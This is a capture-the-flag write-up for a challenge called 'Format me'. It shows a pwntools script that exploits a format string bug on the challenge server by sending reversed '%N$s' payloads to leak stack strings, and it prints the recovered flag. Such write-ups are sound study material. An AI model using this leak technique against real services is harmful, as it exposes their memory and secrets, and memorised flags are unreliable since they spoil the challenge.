Format me

by 5h4d0w / C0d3 Bre4k3rs

Tags: pwntools fsb format-string pwn

Rating:

Given a Netcat connection, abuse the FSB (format string bug) in the program to leak the strings on the stack. Note that the payloads need to be reversed (the program asks you to send them like this). I made this pwntools script to leak the first 100 strings:

```
from pwn import *

context.arch = 'amd64'
context.log_level = 'critical'

host, port = 'challs.dvc.tf', 8888

for i in range(1, 100):
        try:
                conn = remote(host, port)
                payload = f"%{i}$s"[::-1]
                print(f"Sending {payload}")

                conn.sendlineafter("Reverse string: ", payload)
                response = conn.recv().decode().strip()
                print(response, "\n")

                if "dvCTF{" in response:
                        print("Flag found!")
                        break

                conn.close()
        except KeyboardInterrupt:
                break
        except:
                conn.close()
```

At the 24th string, the flag appeared! (payload: s$42%)

Flag: dvCTF{1_h0p3_n01_s33s_th1s}

Comments